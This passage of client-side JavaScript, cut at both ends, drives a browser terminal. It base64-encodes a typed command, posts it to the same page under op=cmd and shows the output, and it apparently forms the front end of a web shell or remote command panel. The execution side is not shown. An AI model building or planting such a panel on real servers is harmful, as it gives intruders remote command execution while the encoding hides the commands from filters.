'; appendTerm('$ ' + cmd, 'prompt'); appendTerm('Executing...', 'output'); var b64cmd = btoa(cmd); var qs = new URLSearchParams({op:'cmd'}).toString(); fetch('?' + qs, { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'data=' + encodeURIComponent(b64cmd) }) .then(function(r) { return r.json(); }) .then(function(d) { var out = document.getElementById('termOutput'); if (out.lastChild) out.removeChild(out.lastChild); if (d.e) { appendTerm('ERROR: ' + d.e, 'error'); } else if (d.out !== undefined) { appendTerm(d.out || '(no output)', 'output'); } else { appendTerm(JSON.stringify(d), 'output'); } }) .catch(function(e) { var out = document.getElementById('termOutput'); if (out.lastChild) out.removeChild(out.lastChild); appendTerm('FETCH ERROR: ' + e.message, 'error'); }); } function appendTerm(text, type) { var out = document.getElementById('termOutput'); var line = document.createElement('div'); line.className = 'term-' + type; line.textCont